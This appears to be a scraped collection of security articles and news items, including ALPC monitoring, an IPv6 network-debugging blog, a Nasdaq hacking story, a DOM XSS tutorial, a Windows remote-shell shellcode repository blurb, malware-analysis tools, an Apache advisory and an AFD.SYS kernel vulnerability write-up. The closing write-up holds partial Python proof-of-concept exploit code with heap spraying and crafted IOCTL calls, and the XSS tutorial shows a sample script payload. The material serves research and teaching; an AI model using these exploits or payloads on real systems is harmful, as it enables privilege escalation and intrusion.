: ShellHWDetection service : Schedule service : Spooler service : BFE service : MpsSvc service : LanmanWorkstation service : CryptSvc service : DPS service : FDResPub service : NlaSvc service : PcaSvc service : SysMain service : TrkWks service : Winmgmt service : iphlpsvc service : LanmanServer service : netprofm service : WdiServiceHost service : WPDBusEnum service : WdiSystemHost service : WinHttpAutoProxySvc service : Browser service : WSearch service : Netman service : WMPNetworkSvc service : fdPHost service : HomeGroupProvider service : SSDPSRV service : BITS Article about resolving service name by its id (SubProcessTag) you can find here, and also is written more concrete example of implementation here, and even more you can find it in process hacker as well. This method was designed for user mode, but in kernel you are by creation, so lets say it is more straighforward to resolve this information btw. in your IoCompletition alpc callback, your minipacket contains KeyContext which looks like : enum KeyContextMembers { TppAlpcpExecuteCallback = 0, //ntdll AlpcPortType = 2, TppAlpcpCleanupGroupMemberVFuncs = 3, //ntdll LrpcIoComplete = 12, //rpcrt4 LrpcServerIoHandlerPtr = 13, //rpcrt4 SubProcessTag = 15, //TEB }; Conclusions : Seems that IoCompletion callbacks can be really helpful mechanism. It works just on ports that use the I/O completion port type, not on all ALPC ports, but for network monitoring purposes seems it is fair enough Another limitation is that ‘limited’ usage of Ob Filters on AlpcPorts. It is quite nice feature but limited so much … I hope filtering will support at least nt!AlpcPortObjectType soon! At the end of this post, I would like to thank to Alex Ionescu for reviewing this article, and for that nice syscan win-internals training! Sursa: ALPC monitoring | @ZER0mem

Util: Is It the Beginning of the End For Use-After-Free Exploitation? ‹ Palo Alto Networks BlogPalo Alto Networks Blog

Debugging a weird network problem (or: IPv6 privacy addresses, just say no) All you folks who followed my blog for food porn are going to want to skip this one. The past ten days have been pretty horrible for me at work, thanks to the combined effect of five different network issues. One particularly difficult one to track down has been affecting the very access switch that serves my own office, and that makes it particularly frustrating (especially when trying to fight other fires). The particular symptom that we observed was that traffic would slow down for a short period — about 15 seconds, just long enough to notice but not long enough to actually track down the source of the problem. It was clear from looking at interface statistics that there was some sort of broadcast or multicast storm going on. Early on, one particular network drop looked suspicious: when the slowdown occurred, we could see that the switch port was receiving a high rate of traffic (hundreds or even thousands of packets per second) and that these were being replicated to all or nearly all the other ports on that switch. When other switches started to trigger the same sort of alerts in our monitoring system, I physically unplugged that drop and things appeared to get better — but I still had no idea why. And things only appeared to get better: there were still slowdowns; they just weren’t as severe (and thus as noticeable) as before. The access layer in our network is composed of Juniper EX4200 switches, and thanks to Junos’s FreeBSD heritage, they have much better observability than most other switches. In particular, you can run start shell from the Junos command line and get a standard Unix shell (well, csh actually, which while non-standard is “standard enough” for most usual administrative tasks). There are some limitations: Juniper’s kernel will only execute signed binaries, for example, so you can’t install your own software on the switches (although Juniper offers an SDK for some platforms). But Junos includes a number of standard FreeBSD utilities, including netstat, tar, and (relevant for this discussion) top. So I was able to log in to the problem switch and monitor exactly what was going on CPU-wise. Here’s what a normal EX4200 looks like: last pid: 26547; load averages: 0.08, 0.12, 0.14 up 110+05:09:57 22:16:09 48 processes: 1 running, 47 sleeping CPU states: 5.1% user, 0.0% nice, 4.6% system, 0.2% interrupt, 90.0% idle Mem: 390M Active, 67M Inact, 47M Wired, 190M Cache, 110M Buf, 286M Free Swap: PID USERNAME THR PRI NICE SIZE RES STATE TIME WCPU COMMAND 1374 root 2 44 -52 72584K 19100K select 237.3H 3.66% sfid 1376 root 1 8 0 86884K 33716K nanslp 129.9H 1.12% pfem 1373 root 1 4 0 68052K 11804K kqread 53.9H 0.00% chassism 1424 root 1 4 0 10204K 6084K kqread 30.9H 0.00% mcsnoopd 1393 root 1 4 0 23896K 15808K kqread 560:19 0.00% eswd 1402 root 1 96 0 28968K 14992K select 420:57 0.00% mib2d 1422 root 1 4 0 17320K 9716K kqread 273:08 0.00% lldpd 1375 root 1 4 -20 14240K 8588K kqread 240:56 0.00% vccpd 1401 root 1 96 0 22184K 16388K select 215:18 0.00% snmpd 1426 root 1 96 0 12356K 6940K select 163:18 0.00% license-ch This is just a standard FreeBSD top command, from about the 7.0 era, so it accepts the S and H flags to show system processes and threads, respectively, but in this case that didn’t add any useful information. When things were hosed, yes, there was a process (mcsnoopd, the multicast snooping daemon) that was taking up a lot of CPU, but it was only getting 30% of the processor — the other 60% was being absorbed by “system” time and not attributable to any particular process or thread. Seeing this, but being frustratingly unable to truly identify the source of the problem, I opened a JTAC case. The technician gave me a script to run, which totally failed to identify the problem. (JTAC’s debugging scripts are apparently spread around cargo-cult fashion, and the JTAC staff don’t actually understand what they do or have any idea how to debug them — in this case, the script I was given would never have found this issue because it was looking at the wrong place in the output of top -b — but it was impossible to explain this to the tech over email. The script itself was clearly a horrible hacked-together farrago of awk (twice) and grep and sed (twice) to do something which could have been easily done in a single line of awk script by someone who was actually competent.) Eventually we had a phone call and for once the Juniper “secure meeting” functionality worked. (I keep an old Thinkpad running Windows in my office for this purpose, since “secure meeting” doesn’t usually work on any other platform.) I was able to convince the tech (after two days of waiting for this script to find something) that it wasn’t going to work, and he moved on to another debugging step — one that should have occurred to me, but when you’re under stress you often don’t think of the obvious. One of the other FreeBSD tools that Junos includes is tcpdump (there’s even an interface to it in the Junos command line), so you can actually take a packet capture directly on the switch, save it to the switch’s internal flash, and then scp it somewhere else for analysis. The one drawback with this is that it can only see the packets that hit the switch’s CPU — anything that’s switched in hardware doesn’t get seen by BPF — but that’s actually an advantage when you’re trying to identify something that’s clobbering the switch’s CPU. We took a packet capture, and I uploaded it to JTAC so the tech could look at it while I was still on the phone, but there wasn’t anything that looked like it could possibly be the source of the problem. So we ended the call with the conclusion that I would continue to watch the switch and take a packet capture when the problem was actually happening. It didn’t take long — as it turned out, the problem condition was actually quite deterministic, and repeated every 125 seconds! So I had no trouble getting those captures, and after uploading them to JTAC I opened each one up in Wireshark and had a look for myself. What immediately caught my attention was a long stream of IPv6 multicasts that overwhelmed all other traffic for about ten seconds — suspiciously similar to the 15-second period of the slowdown I had been watching in top. I saw that these were all IPv6 Multicast Listener Discovery packets, which are part of the ICMPv6 protocol and take the place of the IPv4 IGMP protocol — they are used by routers to identify which hosts are members of which multicast groups, so that only desired multicast traffic is forwarded down a network interface. I could see that the burst of multicasts was immediately preceded by an all-groups solicitation coming from one of our core switches, so that all seemed normal, and the solicitation itself actually said “please splay your responses over the next 10,000 milliseconds”, which explained why the burst lasted for almost exactly that length of time. The multicast groups being reported, in nearly all cases, were the so-called “solicited node” multicast groups, which are part of IPv6?s (mandatory) Neighbor Discovery Protocol — the way nodes on a network find out their neighbors’ layer-2 addresses, analogous to ARP in IPv4. If this was just normal behavior, why exactly was it causing such problems? Surely Juniper had plenty of customers who were using IPv6 in production networks, so they must have tested this software. And why was the mcsnoopd process involved for IPv6 traffic? I started reading up on tuning parameters for MLD, reasoning that maybe the defaults were just wrong for a network of our size. We had done a software update on all of our access switches during the spring. One of the new features added in Junos 12.1 (to which we had upgraded) was support for “MLD snooping”. This was the IPv6 analogue to “IGMP snooping”, which we did have configured. (In IGMP snooping, a layer-2 switch like ours listens to the layer-3 IGMP traffic, and even forges its own IGMP messages to make them look like they came from a router, to determine on a port-by-port basis which multicast groups are subscribed. Otherwise, it would have to flood all multicasts to all ports, which would take far more bandwidth and more interconnect resources on the switch, so even though it’s a “layering violation”, it’s a necessity in all but the smallest networks. MLD snooping does exactly the same thing, but for IPv6.) I thought that maybe not having MLD snooping configured was causing some sort of problem — perhaps the mcsnoopd process was taking an abnormal amount of CPU when faced with MLD packets that it didn’t know what to do with, or perhaps (since MLD packets themselves are also multicast) it was just doing the flooding in software rather than allowing the switch hardware to do it. In any event, I turned on MLD snooping for all VLANs on the switch, and the CPU spikes simply stopped. Coincidence? I’ll wait and see — but since more and more machines have IPv6 on by default, I’ll be deploying MLD snooping everywhere I can (regardless of whether it really helps my issue or not). So I went home, and made dinner (well, actually, a bowl of macaroni and cheese). But I was still thinking about this issue at work. The JTAC technician sent me email, after I had left work, pointing to an issue on some HP machines running Windows with a bad NIC driver. We don’t have many HP machines, so I initially dismissed the idea, but since I could run Wireshark just as easily at home as in the office, I scp’ed the trace files from my workstation and had a look. Opening up one of the traces in Wireshark, I used Statistics => Endpoint list => Ethernet to find which Ethernet addresses had sent the most traffic, and one jumped out at me immediately: a Dell machine on my network had sent the second-most number of multicast or broadcast packets in this several-minute capture. It was second only to the core switch that was busily ARPing away for non-existent IPv4 addresses. (We have a lot of address space, and it’s all on the public Internet, so we get scanned pretty much continually.) I logged in to the switch, and located the port where it connected, and lo and behold, it was on the same port as I had originally suspected! I used Wireshark’s filtering capability to get an idea of what the machine was, and what exactly it was doing sending all of those packets. That told me the identity of the machine — it was a Windows machine, and Windows loves to broadcast its identity to all and sundry — and more to the point, I saw that it was responsible for the vast majority of those multicast memberships: 350 different multicast groups in all, nearly all of which were “solicited node” groups for different IPv6 “privacy” addresses. Now for a digression on IPv6 addressing. An IPv6 address is 128 bits long. That is enough addresses to give billions of addresses to every cell in the body of every human on earth. Of course, there’s no reason you’d do that, and a lot of the address space is “wasted” by giving it a structure that makes it practical to actually route IPv6 packets on a global scale. By convention, the top 64 bits of an IPv6 address identifies a specific network, and the bottom 64 bits are an “interface identifier”, which identifies the particular device attached to that network. Some bright light looked at this and said, oh, gee, all those users are used to dialup in the IPv4 Internet where they get a different address every time they turn their computer on, so we’d better find a way to emulate that in IPv6. Unfortunately, they did, and thus “privacy” addresses were born — where the device identifier (technically called an “interface ID” since it’s usually specific to the NIC) is just randomly generated, and changes every so often. That way, nobody will ever have to worry about some bad guy on the IPv6 Internet identifying them by their MAC address. (Duh, they’ll just use the “network” part of the IPv6 address instead!) Of course that will also ensure that nobody will ever have to care about making the IPv6 reverse DNS work properly, either, since nobody will use the same address from one day to the next. Microsoft turned this “feature” on by default in recent versions of Windows. (Apple turned it on in Mac OS and iOS as well, but that’s a rant for another day.) Apparently the Windows implementation is more aggressive, or Windows applications are more likely to hold connections open, because there are lots of reports of Windows machines having hundreds of these “privacy” addresses simultaneously — and that’s what appears to be happening on our problem machine: every time the router sent out a “please tell me all your memberships in the next 10 seconds” message, the Windows box would reply with 30 MLD responses a second for ten seconds. That doesn’t seem like much, but now that I’ve started turning MLD snooping on, I can see that there are other VLANs in my network that look like they are having the same problem — so I have my work cut out for me. Luckily, there’s a really simple set of commands to completely disable “privacy” addresses on Windows machines (for whatever reason, Microsoft doesn’t provide a GUI for this), so now that I know what to look for, I can identify the problem machines and get their owners to fix them. Still, grrr. Sursa: Debugging a weird network problem (or: IPv6 privacy addresses, just say no) | Occasionally Coherent

How Russian Hackers Stole the Nasdaq By Michael Riley July 17, 2014 In October 2010, a Federal Bureau of Investigation system monitoring U.S. Internet traffic picked up an alert. The signal was coming from Nasdaq (NDAQ). It looked like malware had snuck into the company’s central servers. There were indications that the intruder was not a kid somewhere, but the intelligence agency of another country. More troubling still: When the U.S. experts got a better look at the malware, they realized it was attack code, designed to cause damage. As much as hacking has become a daily irritant, much more of it crosses watch-center monitors out of sight from the public. The Chinese, the French, the Israelis—and many less well known or understood players—all hack in one way or another. They steal missile plans, chemical formulas, power-plant pipeline schematics, and economic data. That’s espionage; attack code is a military strike. There are only a few recorded deployments, the most famous being the Stuxnet worm. Widely believed to be a joint project of the U.S. and Israel, Stuxnet temporarily disabled Iran’s uranium-processing facility at Natanz in 2010. It switched off safety mechanisms, causing the centrifuges at the heart of a refinery to spin out of control. Two years later, Iran destroyed two-thirds of Saudi Aramco’s computer network with a relatively unsophisticated but fast-spreading “wiper” virus. One veteran U.S. official says that when it came to a digital weapon planted in a critical system inside the U.S., he’s seen it only once—in Nasdaq. The October alert prompted the involvement of the National Security Agency, and just into 2011, the NSA concluded there was a significant danger. A crisis action team convened via secure videoconference in a briefing room in an 11-story office building in the Washington suburbs. Besides a fondue restaurant and a CrossFit gym, the building is home to the National Cybersecurity and Communications Integration Center (NCCIC), whose mission is to spot and coordinate the government’s response to digital attacks on the U.S. They reviewed the FBI data and additional information from the NSA, and quickly concluded they needed to escalate. Thus began a frenzied five-month investigation that would test the cyber-response capabilities of the U.S. and directly involve the president. Intelligence and law enforcement agencies, under pressure to decipher a complex hack, struggled to provide an even moderately clear picture to policymakers. After months of work, there were still basic disagreements in different parts of government over who was behind the incident and why. “We’ve seen a nation-state gain access to at least one of our stock exchanges, I’ll put it that way, and it’s not crystal clear what their final objective is,” says House Intelligence Committee Chairman Mike Rogers, a Republican from Michigan, who agreed to talk about the incident only in general terms because the details remain classified. “The bad news of that equation is, I’m not sure you will really know until that final trigger is pulled. And you never want to get to that.” Bloomberg Businessweek spent several months interviewing more than two dozen people about the Nasdaq attack and its aftermath, which has never been fully reported. Nine of those people were directly involved in the investigation and national security deliberations; none were authorized to speak on the record. “The investigation into the Nasdaq intrusion is an ongoing matter,” says FBI New York Assistant Director in Charge George Venizelos. “Like all cyber cases, it’s complex and involves evidence and facts that evolve over time.” While the hack was successfully disrupted, it revealed how vulnerable financial exchanges—as well as banks, chemical refineries, water plants, and electric utilities—are to digital assault. One official who experienced the event firsthand says he thought the attack would change everything, that it would force the U.S. to get serious about preparing for a new era of conflict by computer. He was wrong. On the call at the NCCIC were experts from the Defense, Treasury, and Homeland Security departments and from the NSA and FBI. The initial assessment provided the incident team with a few sketchy details about the hackers’ identity, yet it only took them minutes to agree that the incursion was so serious that the White House should be informed. The conference call participants reconvened at the White House the next day, joined by officials from the Justice and State departments and the Central Intelligence Agency. The group drew up a set of options to be presented to senior national security officials from the White House, the Justice Department, the Pentagon, and others. Those officials determined the questions that investigators would have to answer: Were the hackers able to access and manipulate or destabilize the trading platform? Was the incursion part of a broader attack on the U.S. financial infrastructure? The U.S. Secret Service pushed to be the lead investigative agency. Its representatives noted that they had already gone to Nasdaq months earlier with evidence that a group of alleged Russian cybercriminals, led by a St. Petersburg man named Aleksandr Kalinin, had hacked the company and that the two events might be related. The Secret Service lost the argument and sat the investigation out. Sursa: How Russian Hackers Stole the Nasdaq - Businessweek

DOM Based Cross-site Scripting Vulnerability Tue, 15 Jul 2014, by Ferruh Mavituna Today Cross-site Scripting (XSS) is a well known web application vulnerability among developers, so there is no need to explain what XSS is. The most important part of a Cross-site Scripting attack developers should understand is its impact; an attacker can steal or hijack your session, carry out very successful phishing attacks and effectively can do anything that the victim can. DOM Based XSS simply means a Cross-site scripting vulnerability that appears in the DOM (Document Object Model) instead of part of the HTML. In reflective and stored Cross-site scripting attacks you can see the vulnerability payload in the response page but in DOM based cross-site scripting, the HTML source code and response of the attack will be exactly the same, i.e. the payload cannot be found in the response. It can only be observed on runtime or by investigating the DOM of the page. Simple DOM Based Cross-site Scripting Vulnerability Example Imagine the following page http://www.example.com/test.html contains the below code: <script> document.write("<b>Current URL<b> : " + document.baseURI); </script> If you send an HTTP request like this http://www.example.com/test.html#<script>alert(1)</script>, simple enough your JavaScript code will get executed, because the page is writing whatever you typed in the URL to the page with document.write function. If you look at the source of the page, you won’t see <script>alert(1)</script> because it’s all happening in the DOM and done by the executed JavaScript code. After the malicious code is executed by page, you can simply exploit this DOM based cross-site scripting vulnerability to steal the cookies of the user or change the page’s behaviour as you like. DOM XSS Vulnerability is a Real Threat Various research and studies identified that up to 50% of websites are vulnerable to DOM Based XSS vulnerability. Security researchers have already identified DOM Based XSS issues in high profile internet companies such as Google, Yahoo and Alexa. Server Side Filters Do Not Matter One of the biggest differences between DOM Based XSS and Reflected or Stored XSS vulnerabilities is that DOM Based XSS cannot be stopped by server-side filters. The reason is quite simple; anything written after the "#" (hash) will never be sent to the server. Historically, fragment identified a.k.a. hash introduced to simply scroll the HTML page to a certain element however later on it was adopted by JavaScript developers to be used in AJAX pages to keep track of the pages and various other things, mostly referred as hash-bang "#!". Due to this design anything after hash won’t be sent to the server. This means all server-side protection in the code will not work for DOM Based XSS vulnerabilities. As a matter of fact, any other type of web protections such as web application firewalls, or generic framework protections like ASP.NET Request Validation will not protect you against DOM Based XSS attacks. Input & Output so called Source & Sink The logic behind the DOM XSS is that an input from the user (source) goes to an execution point (sink). In the previous example our source was document.baseURI and the sink was document.write. What you need to understand though is that DOM XSS will appear when a source that can be controlled by the user is used in a dangerous sink. So when you see this either you need to do the necessary code changes to avoid being vulnerable to DOM XSS or you need to add encoding accordingly. Below is a list of sources and sinks which are typically targeted in DOM XSS attacks. Note that this is not a complete list but you can figure out the pattern, anything that can be controlled by an attacker in a source and anything that can lead to script execution in a sink. Popular Sources document.URL document.documentURI location.href location.search location.* window.name document.referrer Popular Sinks HTML Modification sinks document.write (element).innerHTML [*]HTML modification to behaviour change (element).src (in certain elements) [*]Execution Related sinks eval setTimout / setInterval execScript Fixing DOM Cross-site Scripting Vulnerabilities The best way to fix DOM based cross-site scripting is to use the right output method (sink). For example if you want to use user input to write in a <div> element don’t use innerHtml, instead use innerText/textContent. This will solve the problem, and it is the right way to remediate DOM based XSS vulnerbilities. It is always a bad idea to use a user-controlled input in dangerous sources such as eval. 99% of the time it is an indication of bad or lazy programming practice, so simply don’t do it instead of trying to sanitize the input. Finally, to fix the problem in our initial code, instead of trying to encode the output correctly which is a hassle and can easily go wrong we would simply use element.textContent to write it in a content like this: <b>Current URL:</b> <span id="contentholder"></span> <script> document.getElementById("contentholder").textContent = document.baseURI; </script> It does the same thing but this time it is not vulnerable to DOM based cross-site scripting vulnerabilities. Sursa: https://www.netsparker.com/blog/web-security/dom-based-cross-site-scripting-vulnerability/

Win32 and Win64 ShellcodesIntroduction 'Hidden' is a 32-bit shell code written for Windows that uses RSA key exchange and robust encryption to hide data transmitted between 2 computers. It consists of a client (the shell code) and a server. The client will create a cmd.exe process which then accepts data sent to it by the server over encrypted channel. Tested on 32-bit version of Windows XP, 64-bit 7 and Server 2012 PDF: https://github.com/cmpxchg8/shellcode/blob/master/win32/hs/Hidden%20Shellcode%20for%20Windows.pdf?raw=true Sursa: https://github.com/cmpxchg8/shellcode (win32/hs)

[h=1]FakeNet – Windows Network Simulation Tool For Malware Analysis[/h] FakeNet is a Windows Network Simulation Tool that aids in the dynamic analysis of malicious software. The tool simulates a network so that malware interacting with a remote host continues to run allowing the analyst to observe the malware’s network activity from within a safe environment. [adsnse size=1] The goal of the project is to: Be easy to install and use; the tool runs on Windows and requires no 3rd party libraries Support the most common protocols used by malware Perform all activity on the local machine to avoid the need for a second virtual machine Provide python extensions for adding new or custom protocols Keep the malware running so that you can observe as much of its functionality as possible Have a flexible configuration, but no required configuration The tool is in its infancy of development. The team started working on the tool in January 2012 and intend to maintain the tool and add new and useful features. If you find a bug or have a cool feature you think would improve the tool please do contact them. Features Supports DNS, HTTP, and SSL HTTP server always serves a file and tries to serve a meaningful file; if the malware request a .jpg then a properly formatted .jpg is served, etc. The files being served are user configurable. Ability to redirect all traffic to the localhost, including traffic destined for a hard-coded IP address. Python extensions, including a sample extension that implements SMTP and SMTP over SSL. Built in ability to create a capture file (.pcap) for packets on localhost. Dummy listener that will listen for traffic on any port, auto-detect and decrypt SSL traffic and display the content to the console. Right now the tool only supports WinXP Service Pack 3. The tool runs fine on Windows Vista/7 although certain features will be automatically disabled. You can download FakeNet here: Fakenet1.0c.zip Or read more here. Sursa: http://www.digitalmunition.net/?p=2984

[h=1]IDA Dalvik debugger: tips and tricks[/h] Posted on July 11, 2014 by Nikolay Logvinov One of the new features of IDA 6.6 is the Dalvik debugger, which allows us to debug Dalvik binaries on the bytecode level. Let us see how it can help when analysing Dalvik files. [h=2]Encoded strings[/h] Let us consider the package with the encrypted strings: STRINGS:0001F143 unk_1F143:.byte 0x30 # 0 # DATA XREF: STR_IDS:off_70 STRINGS:0001F144 aFda8sohchnidgh: .string "FDA8sOhCHNidghM2hzFxMXUsivl2k7hFOhkJrW7O2ml8qLVM",0 STRINGS:0001F144 # DATA XREF: q_b@V STRINGS:0001F144 # String #277 (0x115) STRINGS:0001F175 unk_1F175:.byte 0x3C # < # DATA XREF: STR_IDS:off_70 STRINGS:0001F176 aCgv01n8li2s3ok: .string "CGv01N8li2s3OKN29j6exe6-rvzgIRaCcWoOt5y30zjP1k43-f7WVOtXjbg=" STRINGS:0001F176 # DATA XREF: q_b@V+C There is a data reference, let us see where this string is used (e.g. using Ctrl-X). CODE:000090C0 const-string v0, aFda8sohchnidgh # "FDA8sOhCH"... CODE:000090C4 invoke-static {v0}, <ref RC4.decryptBase64(ref) RC4_decryptBase64@LL> CODE:000090CA move-result-object v0 So, apparently the strings are encrypted with RC4+Base64. Let us set a breakpoint after the RC4.decryptBase64() call and start the debugger. After hitting the breakpoint, open the “Locals” debugger window. Even if the application was stripped of debug information, IDA makes the best effort to show function’s input arguments and return value. Note the local variable named retval. It is a synthetic variable created IDA to show the function return value. This is how we managed to decode the string contents. [h=3]How to debug Dalvik and ARM code together[/h] Let us have a look at application that uses a native library. On a button press, the function stringFromJNI() implemented in the native library is called. package ida.debug.hellojni; public class MainActivity extends Activity { public native String stringFromJNI(); static { System.loadLibrary("hello-jni"); } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); final TextView tv = new TextView(this); final Button btn = new Button(this); btn.setText("Press me to call the native code"); btn.setOnClickListener(new Button.OnClickListener() { public void onClick(View v) { tv.setText(stringFromJNI()); } }); LinearLayout layout = new LinearLayout(this); layout.setOrientation(LinearLayout.VERTICAL); layout.setLayoutParams(new LayoutParams( LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT)); layout.addView(btn); layout.addView(tv); setContentView(layout); } } Native library function returns a well-known string. jstring Java_ida_debug_hellojni_MainActivity_stringFromJNI( JNIEnv* env, jobject thiz) { return (*env)->NewStringUTF(env, "Hello, JNI world!"); } o, we have application packaged in hellojni.apk file and installed in Android Emulator. Because IDA cannot analyse or debug both Dalvik and native (ARM) code at the same time, we’ll need to use two IDA instances to perform debugging in turns. To prepare the first IDA instance: load hellojni.apk into IDA, select classes.dex to analyze. go to the native function call and set breakpoint there. CODE:0000051C iget-object v0, this, MainActivity$1_val$tv CODE:00000520 iget-object v1, this, MainActivity$1_this$0 CODE:00000524 invoke-virtual {v1}, <ref MainActivity.stringFromJNI() imp. @ _def_MainActivity_stringFromJNI@L> CODE:0000052A move-result-object v1 change the default port in “Debugger/Process options” to any other value. start the Dalvik debugger and wait until breakpoint is hit. Then prepare the second IDA instance: prepare to debug native ARM Android application (copy and start android_server and so on). load hellojni.apk into IDA, and now select lib/armeabi-v7a/libhello-jni.so to analyze. the name of the native function was formed by special rules and in our case it is Java_ida_debug_hellojni_MainActivity_stringFromJNI(), so go to to it and set a breakpoint: .text:00000BC4 EXPORT Java_ida_debug_hellojni_MainActivity_stringFromJNI .text:00000BC4 Java_ida_debug_hellojni_MainActivity_stringFromJNI .text:00000BC4 .text:00000BC4 var_C = -0xC .text:00000BC4 var_8 = -8 .text:00000BC4 .text:00000BC4 STMFD SP!, {R11,LR} .text:00000BC8 ADD R11, SP, #4 .text:00000BCC SUB SP, SP, #8 .text:00000BD0 STR R0, [R11,#var_8] .text:00000BD4 STR R1, [R11,#var_C] .text:00000BD8 LDR R3, [R11,#var_8] .text:00000BDC LDR R3, [R3] .text:00000BE0 LDR R2, [R3,#0x29C] .text:00000BE4 LDR R0, [R11,#var_8] .text:00000BE8 LDR R3, =(aHelloJniWorld - 0xBF4) .text:00000BEC ADD R3, PC, R3 ; "Hello, JNI world!" .text:00000BF0 MOV R1, R3 .text:00000BF4 BLX R2 .text:00000BF8 MOV R3, R0 .text:00000BFC MOV R0, R3 .text:00000C00 SUB SP, R11, #4 .text:00000C04 LDMFD SP!, {R11,PC} .text:00000C04 ; End of function Java_ida_debug_hellojni_MainActivity_stringFromJNI select “Remote ARM Linux/Android debugger” and attach to the application process. press F9 to continue. Now switch to the first IDA session and press, for example, F8 to call native function. If we return back to the second IDA session then we can notice the breakpoint event. Now we can continue to debug the native code. When we finish, press F9 and return to the first IDA session. The full source code of the example you can download from our site. Sursa: IDA Dalvik debugger: tips and tricks | Hex Blog

Apache httpd mod_status Heap Buffer Overflow Remote Code Execution Vulnerability ZDI-14-236: July 16th, 2014 CVE ID CVE-2014-0226 CVSS Score 7.5, (AV:N/AC:L/Au:N/C:P/I:P/A:P) Affected Vendors Apache Affected Products HTTPD Server 2.x Vulnerability Details This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apache HTTPD server. Authentication is not required to exploit this vulnerability. The specific flaw exists within the updating of mod_status. A race condition in mod_status allows an attacker to disclose information or corrupt memory with several requests to endpoints with handler server-status and other endpoints. By abusing this flaw, an attacker can possibly disclose credentials or leverage this situation to achieve remote code execution. Vendor Response Apache has issued an update to correct this vulnerability. More details can be found at: svn commit: r1610499 - in /httpd/httpd/branches/2.4.x: ./ CHANGES include/ap_mmn.h include/scoreboard.h modules/generators/mod_status.c modules/lua/lua_request.c server/scoreboard.c Disclosure Timeline 2014-05-30 - Vulnerability reported to vendor 2014-07-16 - Coordinated public release of advisory Credit This vulnerability was discovered by: AKAT-1 22733db72ab3ed94b5f8a1ffcde850251fe6f466 Marek Kroemeke Sursa: Zero Day Initiative

[h=1]Access OS X's Secret Terminal Hidden in the Login Screen[/h] Thorin Klosowski If you ever need to enter console commands without logging all the way into the desktop, Macworld has an old tip that shows you how to get access to the Terminal without going through the whole login process. All you need to do is type >console into the username field of the login screen, and you'll get dumped into a Terminal screen. Here, you can run pretty much any commands you need without logging all the way into the desktop. You still need a login and password to do anything, but it's a nice way to get quick access to your computer. This should work in pretty much all modern versions of OS X.1 Sursa: Access OS X's Secret Terminal Hidden in the Login Screen

New IP-based wireless networking protocol created Recognizing the need for a better way to connect products in the home, seven companies announced that they’ve joined forces to develop Thread, a new IP-based wireless networking protocol. Thread Group founding members consist of industry-leading companies including Yale Security, Silicon Labs, Samsung Electronics, Nest Labs, Freescale Semiconductor, Big Ass Fans and ARM. While currently available 802.15.4 networking technologies have their own advantages, each also has critical issues that prevent the promise of the Internet of Things (IoT) from being realized. These include lack of interoperability, inability to carry IPv6 communications, high power requirements that drain batteries quickly, and “hub and spoke” models dependent on one device (if that device fails, the whole network goes down). With Thread, product developers and consumers can securely connect more than 250 devices into a low-power, wireless mesh network that also includes direct Internet and cloud access for every device. “Existing wireless networking approaches were introduced long before the Internet of Things gained ground,” said Vint Cerf, vice president and chief Internet evangelist, Google, and advisor to the Thread Group. “The Thread protocol takes existing technologies and combines the best parts of each to provide a better way to connect products in the home.” “A number of networking solutions and platforms have been introduced to address the growing demand for connected products in the home,” said Lisa Arrowsmith, associate director, connectivity, smart homes and smart cities, IHS Technology. “Built on well-proven standards, including IEEE 802.15.4, IETF IPv6 and 6LoWPAN, Thread represents a resilient, IP-based solution for the rapidly growing Internet of Things.” Unlike many existing technologies or IoT approaches, Thread is not an application protocol or a connectivity platform for many types of disparate networks. Thread is an IPv6 networking protocol built on open standards, designed for low-power 802.15.4 mesh networks. Existing popular application protocols and IoT platforms can run over Thread networks. A version of Thread is already being used successfully in Nest products today. Thread offers product developers technological advantages over existing wireless standards: Reliable networks: Thread offers robust self-healing mesh networks that scale to hundreds of devices with no single point of failure. Devices are ready when people need them. Secure networks: Thread networks feature secure, banking-class encryption. Thread closes identified security holes found in other wireless protocols and provides worry-free operation. Simple connectivity: Thread devices are simple to install with a smartphone, tablet or computer. Consumers can securely connect Thread devices in the home to each other and to the cloud for easy control and access from anywhere. Low power: Thread supports battery-operated devices as part of a home network. This allows the devices that people use every day – including thermostats, lighting controls, safety and security products – to be a part of the network without requiring constant charging or frequent battery changes. Millions of existing 802.15.4 wireless devices already on the market can run Thread with just a software enhancement -- no new hardware required. Thread is designed for quick implementation and deployment of devices throughout the home. Sursa: New IP-based wireless networking protocol created

AFD.SYS DANGLING POINTER VULNERABILITY TABLE OF CONTENTS Affected OS ......................................................................................................................................................................... 2 Overview ............................................................................................................................................................................. 2 Impact ................................................................................................................................................................................. 2 Technical Analysis ............................................................................................................................................................... 3 POC code ......................................................................................................................................................................... 3 Vulnerability Analysis ...................................................................................................................................................... 4 Step 1 - IOCTL 0x1207f ................................................................................................................................................ 5 Step 2 - IOCTL 0x120c3 ............................................................................................................................................... 8 Exploitation ..................................................................................................................................................................... 9 READ-/WRITE-Primitives through WorkerFactory Objects ....................................................................................... 10 Controlled Data on NonPagedPoolNx Pool ............................................................................................................... 11 Leak Target ............................................................................................................................................................... 12 Single-Gadget-ROP for SMEP Evasion ....................................................................................................................... 12 Shellcode ................................................................................................................................................................... 13 Putting it all together ................................................................................................................................................ 13 Patch Analysis ................................................................................................................................................................... 14 […]targetsize = 0x100 virtaddress = 0x13371337 mdlsize = (pow(2, 0x0c) * (targetsize - 0x30) / 8) - 0xfff - (virtaddress & 0xfff) IOCALL = windll.ntdll.ZwDeviceIoControlFile def I(val): return pack("<I", val) inbuf1 = I(0)*6 + I(virtaddress) + I(mdlsize) + I(0)*2 + I(1) + I(0) inbuf2 = I(1) + I(0xaaaaaaa) + I(0)*4 […] print "[+] creating socket..." sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, [1] socket.IPPROTO_TCP, None, 0, 0) if sock == -1: print "[-] no luck creating socket!" sys.exit(1) print "[+] got sock 0x%x" % sock addr = sockaddr_in() addr.sin_family = socket.AF_INET addr.sin_port = socket.htons(135) addr.sin_addr = socket.htonl(0x7f000001) connect(sock, byref(addr), sizeof(addr)) [2] print "[+] sock connected." print "[+] fill kernel heap" rgnarr = [] nBottomRect = 0x2aaaaaa while(1): hrgn = windll.gdi32.CreateRoundRectRgn(0,0,1,nBottomRect,1,1) [3] if hrgn == 0: break rgnarr.append(hrgn) print ".", print "\n[+] GO!" IOCALL(sock,None,None,None,byref(IoStatusBlock), [4] 0x1207f, inbuf1, 0x30, "whatever", 0x0) IOCALL(sock,None,None,None,byref(IoStatusBlock), [5] 0x120c3, inbuf2, 0x18, "whatever", 0x0) print "[+] after second IOCTL! this should not be hit!" Download: 